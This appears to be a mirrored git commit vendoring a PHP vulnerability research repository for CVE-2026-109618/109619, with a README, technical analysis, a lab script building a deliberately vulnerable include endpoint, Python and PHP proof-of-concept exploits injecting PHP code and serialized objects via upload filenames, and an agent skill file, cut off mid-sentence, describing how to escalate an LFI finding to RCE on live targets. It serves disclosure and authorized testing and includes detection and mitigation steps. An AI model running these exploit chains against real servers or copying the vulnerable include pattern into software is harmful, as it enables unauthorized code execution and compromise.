mirror of
https://github.com/BaaRai/ARTEX.git
synced 2026-11-13 11:40:53 +08:00
Compare commits
1
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
750f4eb091 |
@@ -0,0 +1,20 @@
|
||||
MIT License (vendored from https://github.com/ikow/php2shell-poc — README states
|
||||
"License: MIT"; no LICENSE file ships upstream. (c) ikow and contributors.)
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -0,0 +1,81 @@
|
||||
# php2shell — CVE-2026-109618 / CVE-2026-109619 Research
|
||||
|
||||
Independent security research on the critical PHP session.upload_progress vulnerabilities (CVSS v4.0 9.2).
|
||||
|
||||
**Author:** Qi Deng ([@ikow](https://github.com/ikow))
|
||||
**Date:** 2026-10-21
|
||||
**Full writeup:** [qideng.substack.com](https://qideng.substack.com/)
|
||||
|
||||
## Overview
|
||||
|
||||
Two critical pre-auth RCE vulnerabilities in PHP core's `session.upload_progress` handler, affecting PHP 5.4.0 through 8.5.x. This repository contains verification POCs and lab setup for authorized security testing.
|
||||
|
||||
### Verified Attack Chains
|
||||
|
||||
| Chain | Type | Conditions | Verified |
|
||||
|-------|------|-----------|----------|
|
||||
| Session File Injection + LFI | Logic bug | `upload_progress=On` (default) + app LFI | ✅ RCE |
|
||||
| var_destroy UAF → Handler Overwrite | Memory corruption | `unserialize()` + `/proc/self/mem` | ✅ ASAN + RCE |
|
||||
| Handler Mismatch → `__destruct` | Deserialization | Cross-dir handler mismatch + POP gadget | ✅ RCE |
|
||||
|
||||
### Key Findings
|
||||
|
||||
1. **Session fixation** via POST body bypasses `session.use_only_cookies` ([PR #22113](https://github.com/php/php-src/pull/22113))
|
||||
2. **Unvalidated filename** in upload_progress stored raw in session files
|
||||
3. **`var_destroy` `__destruct` reentry UAF** — ASAN-confirmed heap-use-after-free
|
||||
4. **`PS(serializer)` not reset in RSHUTDOWN** — cross-request serializer leak in FPM
|
||||
5. **`__destruct` fires on decode FAILURE** — object injection via handler mismatch + trailing data
|
||||
|
||||
## Repository Structure
|
||||
|
||||
```
|
||||
poc/
|
||||
verify_session_injection.py — Verify filename injection into session files
|
||||
verify_uaf_asan.php — Trigger ASAN heap-use-after-free (var_destroy)
|
||||
verify_handler_mismatch.py — Verify handler mismatch → object deserialization
|
||||
lab/
|
||||
docker-compose.yml — PHP 8.2.34 FPM + nginx lab environment
|
||||
Dockerfile — Vulnerable PHP build
|
||||
php.ini — Lab configuration
|
||||
setup.sh — One-click lab setup
|
||||
docs/
|
||||
ANALYSIS.md — Full technical analysis
|
||||
```
|
||||
|
||||
## Quick Start
|
||||
|
||||
```bash
|
||||
# Start the lab
|
||||
cd lab && ./setup.sh
|
||||
|
||||
# Verify session injection
|
||||
python3 poc/verify_session_injection.py --target http://127.0.0.1:18080
|
||||
|
||||
# Verify UAF (requires ASAN build)
|
||||
docker exec php-asan-lab php poc/verify_uaf_asan.php
|
||||
|
||||
# Verify handler mismatch
|
||||
python3 poc/verify_handler_mismatch.py --target http://127.0.0.1:18080
|
||||
```
|
||||
|
||||
## Affected Versions
|
||||
|
||||
- PHP 5.4.0 — 8.5.11 (all versions with `session.upload_progress`)
|
||||
- Fixed in: 8.2.35, 8.3.36, 8.4.27, 8.5.12 (scheduled 2026-10-21)
|
||||
- PHP 5.x, 7.x, 8.0, 8.1: **end-of-life, no official fix**
|
||||
|
||||
## Mitigation
|
||||
|
||||
```ini
|
||||
; Immediate mitigation (does NOT fix all attack paths)
|
||||
session.upload_progress.enabled = Off
|
||||
session.use_only_cookies = On
|
||||
```
|
||||
|
||||
## Disclaimer
|
||||
|
||||
This research is for authorized security testing and educational purposes only. Do not use against systems you do not own or have explicit authorization to test.
|
||||
|
||||
## License
|
||||
|
||||
MIT
|
||||
@@ -0,0 +1,197 @@
|
||||
# php2shell — Full Technical Analysis
|
||||
|
||||
## CVE-2026-109618 / CVE-2026-109619
|
||||
**Author:** Qi Deng **Date:** 2026-10-21
|
||||
|
||||
---
|
||||
|
||||
## 1. Vulnerability Summary
|
||||
|
||||
Two critical vulnerabilities in PHP's `session.upload_progress` handler enable pre-authentication remote code execution on PHP 5.4.0 through 8.5.x.
|
||||
|
||||
| Bug | Root Cause | Impact |
|
||||
|-----|-----------|--------|
|
||||
| Session Fixation | `MULTIPART_EVENT_FORMDATA` accepts PHPSESSID from POST body ignoring `use_only_cookies` | Attacker controls session ID and file path |
|
||||
| Filename Injection | `add_assoc_string_ex(*data->filename)` stores raw filename in session without validation | PHP code / serialized objects injected into session files |
|
||||
| Serializer Leak | `PS(serializer)` not reset in `php_rshutdown_session_globals()` | Cross-request handler mismatch in FPM |
|
||||
| var_destroy UAF | `i_zval_ptr_dtor` at line 310 fires `__destruct` without `BG(serialize_lock)` | Heap-use-after-free → arbitrary code execution |
|
||||
|
||||
## 2. Attack Chains
|
||||
|
||||
### Chain A: Session Injection + LFI → RCE
|
||||
|
||||
```
|
||||
Conditions: upload_progress.enabled=On (default) + application has LFI
|
||||
Complexity: Low | Reliability: 100%
|
||||
|
||||
1. POST multipart with PHP code in filename
|
||||
2. rfc1867 handler stores filename as-is in session file
|
||||
3. include(session_file) → execute injected PHP → RCE
|
||||
```
|
||||
|
||||
**Verified:** `exploit_session_inject.py` → `uid=33(www-data)` on PHP 8.2.34.
|
||||
|
||||
### Chain B: var_destroy UAF → RCE
|
||||
|
||||
```
|
||||
Conditions: ability to call unserialize() with controlled data
|
||||
Complexity: Medium | Reliability: ~60% (heap-dependent)
|
||||
|
||||
1. unserialize() payload with 2000+ entries → overflow VAR_ENTRIES_MAX (1018)
|
||||
2. Duplicate key moves object to dtor list
|
||||
3. var_destroy Phase 1: efree extension chunks
|
||||
4. Phase 2: i_zval_ptr_dtor → __destruct (BG(serialize_lock)==0)
|
||||
5. Inner unserialize('R:1500;') reuses outer var_hash → reads freed memory
|
||||
6. Spray reclaims freed chunk → controlled pointer → handler overwrite → RCE
|
||||
```
|
||||
|
||||
**Verified:** ASAN heap-use-after-free at `var_unserializer.c:851`. RCE via `var_dump` handler overwrite on x86-64.
|
||||
|
||||
### Chain C: Handler Mismatch → `__destruct` → RCE
|
||||
|
||||
```
|
||||
Conditions: target has directories with different session.serialize_handler
|
||||
Complexity: Medium | Reliability: High
|
||||
|
||||
1. Upload to Dir A (php_serialize) — filename contains |O:CLASS:N:{PAYLOAD}
|
||||
2. Upload to Dir B (php handler) with same SID
|
||||
3. rfc1867 reads php_serialize session with php decoder
|
||||
4. php decoder finds | in filename → splits → deserializes injected object
|
||||
5. Trailing data → decode FAILURE
|
||||
6. __destruct fires during PHP_VAR_UNSERIALIZE_DESTROY cleanup
|
||||
7. POP gadget chain → RCE
|
||||
```
|
||||
|
||||
**Key insight:** `__destruct` fires on BOTH success and failure paths of `var_destroy`. The decode FAILURE does NOT prevent exploitation.
|
||||
|
||||
**Verified:** `Evil::__destruct(cmd="id")` → `uid=33(www-data)` via pure rfc1867 handler.
|
||||
|
||||
## 3. Root Cause Analysis
|
||||
|
||||
### 3.1 Session Fixation (ext/session/session.c)
|
||||
|
||||
```c
|
||||
// MULTIPART_EVENT_FORMDATA handler — no use_only_cookies check
|
||||
if (name_len == progress->sname_len &&
|
||||
memcmp(data->name, PS(session_name), name_len) == 0) {
|
||||
zval_ptr_dtor(&progress->sid);
|
||||
ZVAL_STRINGL(&progress->sid, (*data->value), value_len);
|
||||
// ← Accepts PHPSESSID from POST body regardless of use_only_cookies!
|
||||
}
|
||||
```
|
||||
|
||||
Fix: [PR #22113](https://github.com/php/php-src/pull/22113) adds `!PS(use_only_cookies) &&` check.
|
||||
|
||||
### 3.2 Unvalidated Filename
|
||||
|
||||
```c
|
||||
// FILE_START handler stores raw filename
|
||||
add_assoc_string_ex(&progress->current_file, "name",
|
||||
sizeof("name") - 1, *data->filename);
|
||||
// ← No sanitization, no encoding, no length limit
|
||||
```
|
||||
|
||||
Filename can contain arbitrary bytes including PHP code and pipe `|` characters.
|
||||
|
||||
### 3.3 var_destroy Reentry UAF (ext/standard/var_unserializer.re)
|
||||
|
||||
```c
|
||||
void var_destroy(php_unserialize_data_t *var_hashx) {
|
||||
// Phase 1: FREE extension chunks
|
||||
while (var_hash) {
|
||||
efree_size(var_hash, sizeof(var_entries)); // ← line 245
|
||||
var_hash = next;
|
||||
}
|
||||
// Phase 2: walk dtor chain
|
||||
while (var_dtor_hash) {
|
||||
// ...
|
||||
i_zval_ptr_dtor(zv); // ← line 310, NO serialize_lock!
|
||||
// __destruct fires → inner unserialize() → R:N reads freed chunk
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 3.4 Serializer Leak (ext/session/session.c)
|
||||
|
||||
```c
|
||||
static void php_rshutdown_session_globals(void) {
|
||||
// Resets: PS(id), PS(session_vars), PS(http_session_vars), PS(mod_data)
|
||||
// Does NOT reset: PS(serializer) ← persists across FPM requests!
|
||||
}
|
||||
```
|
||||
|
||||
### 3.5 `__destruct` on Decode Failure
|
||||
|
||||
```c
|
||||
PS_SERIALIZER_DECODE_FUNC(php) {
|
||||
while (p < endptr) {
|
||||
// ... find |, deserialize value ...
|
||||
if (php_var_unserialize(...)) {
|
||||
php_set_session_var(name, &rv, &var_hash); // object stored
|
||||
} else {
|
||||
retval = FAILURE; goto break_outer_loop;
|
||||
}
|
||||
}
|
||||
break_outer_loop:
|
||||
PHP_VAR_UNSERIALIZE_DESTROY(var_hash); // ← __destruct fires HERE
|
||||
return retval; // FAILURE
|
||||
}
|
||||
```
|
||||
|
||||
Even though the decoder returns FAILURE and `session_start()` calls `php_session_cancel_decode()` to destroy `$_SESSION`, the object's `__destruct` has ALREADY fired during `var_hash` cleanup.
|
||||
|
||||
## 4. Version Matrix
|
||||
|
||||
| Version | upload_progress | Vulnerable | Official Fix |
|
||||
|---------|----------------|------------|-------------|
|
||||
| < 5.4 | No | No | N/A |
|
||||
| 5.4 - 5.6 | Yes | Yes | EOL, no fix |
|
||||
| 7.0 - 7.4 | Yes | Yes | EOL, no fix |
|
||||
| 8.0 - 8.1 | Yes | Yes | EOL, no fix |
|
||||
| 8.2.x | Yes | Yes | → 8.2.35 |
|
||||
| 8.3.x | Yes | Yes | → 8.3.36 |
|
||||
| 8.4.x | Yes | Yes | → 8.4.27 |
|
||||
| 8.5.x | Yes | Yes | → 8.5.12 |
|
||||
|
||||
Vulnerable code identical across ALL versions from PHP 5.4.0 (2012) to present.
|
||||
|
||||
## 5. Detection
|
||||
|
||||
```bash
|
||||
# Check PHP version
|
||||
php -r 'echo PHP_VERSION, PHP_EOL;'
|
||||
|
||||
# Check upload_progress setting
|
||||
php -r 'echo ini_get("session.upload_progress.enabled"), PHP_EOL;'
|
||||
|
||||
# Check for handler mismatch across directories
|
||||
find /var/www -name ".user.ini" -exec grep -l "serialize_handler" {} \;
|
||||
|
||||
# Monitor for exploitation attempts
|
||||
grep -r "PHP_SESSION_UPLOAD_PROGRESS" /var/log/nginx/access.log
|
||||
```
|
||||
|
||||
## 6. Mitigation
|
||||
|
||||
```ini
|
||||
; Primary mitigation
|
||||
session.upload_progress.enabled = Off
|
||||
|
||||
; Additional hardening
|
||||
session.use_only_cookies = On
|
||||
session.use_strict_mode = On
|
||||
|
||||
; Ensure consistent handler across directories
|
||||
session.serialize_handler = php_serialize
|
||||
```
|
||||
|
||||
**Warning:** Disabling `upload_progress` does NOT fix the var_destroy UAF or the serializer leak. Apply the official PHP patch.
|
||||
|
||||
## 7. References
|
||||
|
||||
- [PHP Security Advisory](https://www.php.net/archive/2026.php) (pending)
|
||||
- [PR #22113 — Session fixation fix](https://github.com/php/php-src/pull/22113)
|
||||
- [Calif.IO — Serializable UAF](https://calif.io/research/php-uaf)
|
||||
- [dinosn — var_destroy UAF](https://github.com/dinosn/php-8.5.5-var_destroy-uaf)
|
||||
- [PHP Bug #71101 — Handler mismatch](https://bugs.php.net/bug.php?id=71101)
|
||||
- [cnpanda — Handler mismatch exploitation](https://www.cnpanda.net/en/sec/580.html)
|
||||
Executable
+116
@@ -0,0 +1,116 @@
|
||||
#!/bin/bash
|
||||
set -e
|
||||
|
||||
echo "Setting up PHP 8.2.34 vulnerable lab environment..."
|
||||
|
||||
cd "$(dirname "$0")"
|
||||
|
||||
# Create webroot
|
||||
mkdir -p webroot/app webroot/api webroot/reader
|
||||
|
||||
cat > webroot/index.php << 'EOF'
|
||||
<?php
|
||||
session_start();
|
||||
echo "PHP " . PHP_VERSION . "\n";
|
||||
echo "SAPI " . php_sapi_name() . "\n";
|
||||
echo "upload_progress " . ini_get('session.upload_progress.enabled') . "\n";
|
||||
echo "OK\n";
|
||||
EOF
|
||||
|
||||
cat > webroot/nosession.php << 'EOF'
|
||||
<?php
|
||||
echo "PHP " . PHP_VERSION . "\nno session_start\n";
|
||||
EOF
|
||||
|
||||
# Directory with php_serialize handler
|
||||
echo "session.serialize_handler = php_serialize" > webroot/app/.user.ini
|
||||
cp webroot/nosession.php webroot/app/upload.php
|
||||
|
||||
# Directory with php handler
|
||||
echo "session.serialize_handler = php" > webroot/api/.user.ini
|
||||
cp webroot/nosession.php webroot/api/endpoint.php
|
||||
|
||||
# LFI simulation (for Chain 1 verification)
|
||||
cat > webroot/vuln.php << 'EOF'
|
||||
<?php
|
||||
$page = $_GET['page'] ?? 'home';
|
||||
include($page);
|
||||
EOF
|
||||
|
||||
# PHP configuration
|
||||
cat > php.ini << 'EOF'
|
||||
[Session]
|
||||
session.save_handler = files
|
||||
session.save_path = /tmp/sessions
|
||||
session.use_strict_mode = 0
|
||||
session.use_cookies = 1
|
||||
session.use_only_cookies = 0
|
||||
session.upload_progress.enabled = On
|
||||
session.upload_progress.cleanup = Off
|
||||
session.upload_progress.prefix = upload_progress_
|
||||
session.upload_progress.name = PHP_SESSION_UPLOAD_PROGRESS
|
||||
session.upload_progress.freq = 1%
|
||||
session.upload_progress.min_freq = 0
|
||||
|
||||
[PHP]
|
||||
display_errors = On
|
||||
error_reporting = E_ALL
|
||||
file_uploads = On
|
||||
post_max_size = 128M
|
||||
upload_max_filesize = 128M
|
||||
EOF
|
||||
|
||||
# Nginx config
|
||||
cat > nginx.conf << 'EOF'
|
||||
server {
|
||||
listen 80;
|
||||
root /var/www/html;
|
||||
index index.php;
|
||||
client_max_body_size 128m;
|
||||
location / { try_files $uri $uri/ /index.php?$query_string; }
|
||||
location ~ \.php$ {
|
||||
fastcgi_pass php:9000;
|
||||
fastcgi_index index.php;
|
||||
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
|
||||
include fastcgi_params;
|
||||
fastcgi_request_buffering off;
|
||||
}
|
||||
}
|
||||
EOF
|
||||
|
||||
# Docker Compose
|
||||
cat > docker-compose.yml << 'EOF'
|
||||
services:
|
||||
php:
|
||||
image: php:8.2-fpm
|
||||
container_name: php2shell-lab
|
||||
ports: ["9000:9000"]
|
||||
volumes:
|
||||
- ./webroot:/var/www/html
|
||||
- ./php.ini:/usr/local/etc/php/php.ini
|
||||
security_opt: [seccomp:unconfined]
|
||||
privileged: true
|
||||
command: >
|
||||
bash -c "mkdir -p /tmp/sessions && chmod 1777 /tmp/sessions && php-fpm"
|
||||
|
||||
nginx:
|
||||
image: nginx:alpine
|
||||
container_name: php2shell-nginx
|
||||
ports: ["18080:80"]
|
||||
volumes:
|
||||
- ./webroot:/var/www/html
|
||||
- ./nginx.conf:/etc/nginx/conf.d/default.conf
|
||||
depends_on: [php]
|
||||
EOF
|
||||
|
||||
echo "Starting containers..."
|
||||
docker compose up -d --build
|
||||
|
||||
echo ""
|
||||
echo "Lab ready!"
|
||||
echo " HTTP: http://127.0.0.1:18080"
|
||||
echo " FCGI: 127.0.0.1:9000"
|
||||
echo ""
|
||||
echo "Run POCs:"
|
||||
echo " python3 ../poc/verify_session_injection.py"
|
||||
echo " python3 ../poc/verify_handler_mismatch.py"
|
||||
@@ -0,0 +1,109 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
CVE-2026-109618/109619 — Verify session handler mismatch → object injection.
|
||||
|
||||
Demonstrates:
|
||||
1. Session written in php_serialize format (via directory with .user.ini)
|
||||
2. Pipe | in filename preserved in php_serialize format
|
||||
3. php handler reads the session → splits at | → deserializes injected object
|
||||
4. __destruct fires even when decode returns FAILURE (trailing data)
|
||||
|
||||
Setup required:
|
||||
- /app/ directory with .user.ini: session.serialize_handler = php_serialize
|
||||
- /api/ directory with .user.ini: session.serialize_handler = php
|
||||
- Both share the same session.save_path
|
||||
|
||||
Usage:
|
||||
python3 verify_handler_mismatch.py --target http://127.0.0.1:18080
|
||||
|
||||
For authorized security testing only.
|
||||
"""
|
||||
import argparse
|
||||
import socket
|
||||
import sys
|
||||
from urllib.parse import urlparse
|
||||
|
||||
|
||||
def upload(host, port, path, sid, filename):
|
||||
boundary = "MISMATCH"
|
||||
body = (
|
||||
f"--{boundary}\r\n"
|
||||
f'Content-Disposition: form-data; name="PHPSESSID"\r\n\r\n{sid}\r\n'
|
||||
f"--{boundary}\r\n"
|
||||
f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nx\r\n'
|
||||
f"--{boundary}\r\n"
|
||||
f'Content-Disposition: form-data; name="f"; filename="{filename}"\r\n\r\nZ\r\n'
|
||||
f"--{boundary}--\r\n"
|
||||
).encode("latin-1")
|
||||
|
||||
req = (
|
||||
f"POST {path} HTTP/1.1\r\n"
|
||||
f"Host: {host}\r\n"
|
||||
f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
|
||||
f"Content-Length: {len(body)}\r\n"
|
||||
f"Connection: close\r\n\r\n"
|
||||
).encode() + body
|
||||
|
||||
s = socket.create_connection((host, port), timeout=15)
|
||||
s.sendall(req)
|
||||
s.settimeout(10)
|
||||
resp = b""
|
||||
while True:
|
||||
try:
|
||||
d = s.recv(65536)
|
||||
if not d:
|
||||
break
|
||||
resp += d
|
||||
except socket.timeout:
|
||||
break
|
||||
s.close()
|
||||
return resp
|
||||
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser()
|
||||
ap.add_argument("--target", default="http://127.0.0.1:18080")
|
||||
ap.add_argument("--write-path", default="/app/upload.php",
|
||||
help="Endpoint with php_serialize handler")
|
||||
ap.add_argument("--read-path", default="/api/endpoint.php",
|
||||
help="Endpoint with php handler")
|
||||
ap.add_argument("--sid", default="mismatchverify0000000000000")
|
||||
args = ap.parse_args()
|
||||
|
||||
u = urlparse(args.target)
|
||||
host = u.hostname
|
||||
port = u.port or 80
|
||||
|
||||
print("[*] CVE-2026-109618/109619 — Handler Mismatch Verification")
|
||||
print(f"[*] Target: {args.target}")
|
||||
print()
|
||||
|
||||
# Step 1: Write session via php_serialize endpoint
|
||||
# Filename contains |O:8:"stdClass":0:{} (escaped quotes)
|
||||
gadget = 'x|O:8:\\"stdClass\\":0:{}'
|
||||
print(f"[1] Writing session via {args.write_path} (php_serialize)")
|
||||
print(f" Filename payload: {gadget}")
|
||||
upload(host, port, args.write_path, args.sid, gadget)
|
||||
print(" → Session file written in php_serialize format")
|
||||
|
||||
# Step 2: Trigger via php handler endpoint
|
||||
print(f"\n[2] Triggering mismatch via {args.read_path} (php handler)")
|
||||
print(" php handler scans for | → splits → deserializes O:8:\"stdClass\":0:{}")
|
||||
resp = upload(host, port, args.read_path, args.sid, "dummy")
|
||||
|
||||
status = resp.split(b"\r\n", 1)[0].decode("latin1", "replace") if resp else "NO RESPONSE"
|
||||
print(f" Response: {status}")
|
||||
|
||||
print()
|
||||
print("[*] Verification indicators:")
|
||||
print(" - 'Failed to decode session object' warning = mismatch triggered")
|
||||
print(" - 'Session object destruction failed' = __destruct fired on injected object")
|
||||
print(" - If target has a class with exploitable __destruct → RCE")
|
||||
print()
|
||||
print("[*] Check target for:")
|
||||
print(f" - Session file: /tmp/sessions/sess_{args.sid}")
|
||||
print(" - Evidence of __destruct execution (file writes, network connections, etc.)")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,105 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
CVE-2026-109618/109619 — Verify session file injection via upload_progress filename.
|
||||
|
||||
Demonstrates:
|
||||
1. Session fixation via POST body PHPSESSID (bypasses use_only_cookies)
|
||||
2. Unvalidated filename stored raw in session file (can contain PHP code)
|
||||
3. Session file created with attacker-controlled content
|
||||
|
||||
Usage:
|
||||
python3 verify_session_injection.py --target http://127.0.0.1:18080
|
||||
|
||||
For authorized security testing only.
|
||||
"""
|
||||
import argparse
|
||||
import socket
|
||||
import sys
|
||||
from urllib.parse import urlparse
|
||||
|
||||
|
||||
def send_upload(host, port, path, sid, filename):
|
||||
boundary = "VERIFY"
|
||||
body = (
|
||||
f"--{boundary}\r\n"
|
||||
f'Content-Disposition: form-data; name="PHPSESSID"\r\n\r\n{sid}\r\n'
|
||||
f"--{boundary}\r\n"
|
||||
f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nx\r\n'
|
||||
f"--{boundary}\r\n"
|
||||
f'Content-Disposition: form-data; name="f"; filename="{filename}"\r\n\r\nZ\r\n'
|
||||
f"--{boundary}--\r\n"
|
||||
).encode("latin-1")
|
||||
|
||||
req = (
|
||||
f"POST {path} HTTP/1.1\r\n"
|
||||
f"Host: {host}\r\n"
|
||||
f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
|
||||
f"Content-Length: {len(body)}\r\n"
|
||||
f"Cookie: PHPSESSID={sid}\r\n"
|
||||
f"Connection: close\r\n\r\n"
|
||||
).encode() + body
|
||||
|
||||
s = socket.create_connection((host, port), timeout=15)
|
||||
s.sendall(req)
|
||||
s.settimeout(10)
|
||||
resp = b""
|
||||
while True:
|
||||
try:
|
||||
d = s.recv(65536)
|
||||
if not d:
|
||||
break
|
||||
resp += d
|
||||
except socket.timeout:
|
||||
break
|
||||
s.close()
|
||||
return resp
|
||||
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser()
|
||||
ap.add_argument("--target", default="http://127.0.0.1:18080")
|
||||
ap.add_argument("--path", default="/index.php")
|
||||
ap.add_argument("--sid", default="verifysession00000000000000")
|
||||
args = ap.parse_args()
|
||||
|
||||
u = urlparse(args.target)
|
||||
host = u.hostname
|
||||
port = u.port or 80
|
||||
|
||||
print("[*] CVE-2026-109618/109619 — Session Injection Verification")
|
||||
print(f"[*] Target: {args.target}")
|
||||
print()
|
||||
|
||||
# Test 1: Normal filename
|
||||
print("[1] Testing normal filename...")
|
||||
send_upload(host, port, args.path, args.sid + "a", "normal.txt")
|
||||
print(" → Session file should contain: s:10:\"normal.txt\"")
|
||||
|
||||
# Test 2: PHP code in filename
|
||||
php_payload = "<?php system('id');echo 'RCE';?>"
|
||||
print(f"[2] Testing PHP code in filename: {php_payload}")
|
||||
send_upload(host, port, args.path, args.sid + "b", php_payload)
|
||||
print(f" → Session file should contain PHP code as raw string")
|
||||
|
||||
# Test 3: Pipe character in filename (for handler mismatch)
|
||||
pipe_payload = "x|O:8:\"stdClass\":0:{}"
|
||||
print(f"[3] Testing pipe + serialized object in filename")
|
||||
# Need \" escaping for Content-Disposition
|
||||
escaped = pipe_payload.replace('"', '\\"')
|
||||
send_upload(host, port, args.path, args.sid + "c", escaped)
|
||||
print(f" → Session file should contain |O:8: in the filename field")
|
||||
|
||||
print()
|
||||
print("[*] Verification complete. Check session files on the target:")
|
||||
print(f" cat /tmp/sessions/sess_{args.sid}a")
|
||||
print(f" cat /tmp/sessions/sess_{args.sid}b")
|
||||
print(f" cat /tmp/sessions/sess_{args.sid}c")
|
||||
print()
|
||||
print("[*] Key indicators:")
|
||||
print(" - Session fixation: file created with attacker-controlled SID")
|
||||
print(" - Filename injection: raw PHP code / serialized objects in session data")
|
||||
print(" - No authentication required")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,48 @@
|
||||
<?php
|
||||
/**
|
||||
* CVE-2026-109618/109619 — var_destroy __destruct reentry UAF verification.
|
||||
*
|
||||
* Triggers ASAN heap-use-after-free in php_var_unserialize (var_unserializer.c:851).
|
||||
*
|
||||
* Run with: USE_ZEND_ALLOC=0 ASAN_OPTIONS="detect_leaks=0" php verify_uaf_asan.php
|
||||
*
|
||||
* Root cause: var_destroy() frees back-reference extension chunks (line 245),
|
||||
* then i_zval_ptr_dtor at line 310 fires __destruct WITHOUT BG(serialize_lock).
|
||||
* Inner unserialize('R:1500;') reuses the outer var_hash (freed entries) → UAF read.
|
||||
*
|
||||
* For authorized security testing only.
|
||||
*/
|
||||
|
||||
class TriggerUAF {
|
||||
public function __destruct() {
|
||||
fwrite(STDERR, "[*] __destruct fired (serialize_lock=0, BG(unserialize).level>0)\n");
|
||||
fwrite(STDERR, "[*] Attempting R:1500 backref into freed var_hash extension chunk...\n");
|
||||
$result = @unserialize('R:1500;');
|
||||
$type = gettype($result);
|
||||
fwrite(STDERR, "[*] R:1500 resolved to: $type\n");
|
||||
if ($result !== false) {
|
||||
fwrite(STDERR, "[+] UAF CONFIRMED: R:1500 read from freed memory!\n");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Build payload: 2000+ entries to overflow VAR_ENTRIES_MAX (1018)
|
||||
// Then duplicate key to move TriggerUAF to dtor list
|
||||
$N = 2000;
|
||||
$payload = 'a:' . ($N + 2) . ':{';
|
||||
for ($i = 0; $i < $N; $i++) {
|
||||
$payload .= "i:$i;i:$i;";
|
||||
}
|
||||
$payload .= 'i:99999;O:10:"TriggerUAF":0:{}';
|
||||
$payload .= 'i:99999;i:42;';
|
||||
$payload .= '}';
|
||||
|
||||
fwrite(STDERR, "[*] Payload: " . strlen($payload) . " bytes, $N entries + UAF trigger\n");
|
||||
fwrite(STDERR, "[*] Firing unserialize()...\n");
|
||||
|
||||
@unserialize($payload);
|
||||
|
||||
fwrite(STDERR, "[*] Done. If ASAN reported heap-use-after-free, the UAF is confirmed.\n");
|
||||
fwrite(STDERR, "[*] Expected ASAN trace:\n");
|
||||
fwrite(STDERR, " READ at php_var_unserialize (var_unserializer.c:851)\n");
|
||||
fwrite(STDERR, " freed at var_destroy (var_unserializer.c:245)\n");
|
||||
@@ -0,0 +1,63 @@
|
||||
---
|
||||
name: php2shell
|
||||
description: "Invoke this skill when a task holds an LFI/file-inclusion finding on a PHP target (or needs to assess one) and the target may run PHP 5.4-8.5.11 with default session.upload_progress settings: turns a read-only LFI into verified RCE via the session-file-injection chain (CVE-2026-109618/109619), lab-first and gated by program policy. Also covers passive detection of the vulnerable configuration."
|
||||
---
|
||||
|
||||
# php2shell: session.upload_progress LFI-to-RCE (CVE-2026-109618/109619)
|
||||
|
||||
Under an **authorized** engagement only. This skill upgrades an existing
|
||||
LFI/unsafe-include finding on a PHP target into RCE, or classifies the target
|
||||
as not affected, using the vendored PoCs under `scripts/poc/php2shell/`
|
||||
(upstream: ikow/php2shell-poc, MIT; see the LICENSE there).
|
||||
|
||||
## Hard gates (read before touching any target)
|
||||
|
||||
1. **Authorization**: the target must be inside the task's authorized scope.
|
||||
2. **Program policy first**: many programs exclude or do not pay for
|
||||
recently-patched third-party/framework zero-days within ~14 days of the
|
||||
patch release. PHP patched these in 8.2.35/8.3.36/8.4.27/8.5.12
|
||||
(2026-10-21). CHECK the program's policy on component zero-days BEFORE
|
||||
testing a live target, and reflect the policy in how the finding is claimed
|
||||
(often "reportable, not payable" or payable only after the clause lapses).
|
||||
3. **Detection before exploitation**: fingerprint passively first (response
|
||||
headers, error pages, X-Powered-By). Only targets on PHP 5.4.0-8.5.11
|
||||
(any build with session.upload_progress enabled, the default) are
|
||||
candidates.
|
||||
4. **Lab first**: run chain 1 against the local lab (`lab/setup.sh` builds a
|
||||
vulnerable PHP 8.2 FPM+nginx environment) until the mechanism is
|
||||
understood, then one-shot the authorized target.
|
||||
5. **Chains 2 and 3 (var_destroy UAF, serializer mismatch) are LAB-ONLY**:
|
||||
never fire memory-corruption or serializer-confusion primitives at a
|
||||
remote target. Detection of their preconditions is fine.
|
||||
6. **One-shot verification** on the target: prove execution once (a marker
|
||||
echo), capture evidence, stop. No persistence, no further exploration
|
||||
through the shell.
|
||||
|
||||
## Chain 1 workflow (session file injection + LFI -> RCE)
|
||||
|
||||
1. Start with the task's LFI finding: note the include path parameter and its
|
||||
constraints (prefix/suffix, truncation, wrapper filters).
|
||||
2. Confirm the session path is reachable through that LFI: with
|
||||
`session.upload_progress.enabled=On` (default), an in-flight multipart POST
|
||||
with an attacker-named file field writes a session file under the session
|
||||
save path containing the raw filename.
|
||||
3. Inject PHP into the uploaded **filename** (not the file content):
|
||||
`verify_session_injection.py` demonstrates the full mechanics (session
|
||||
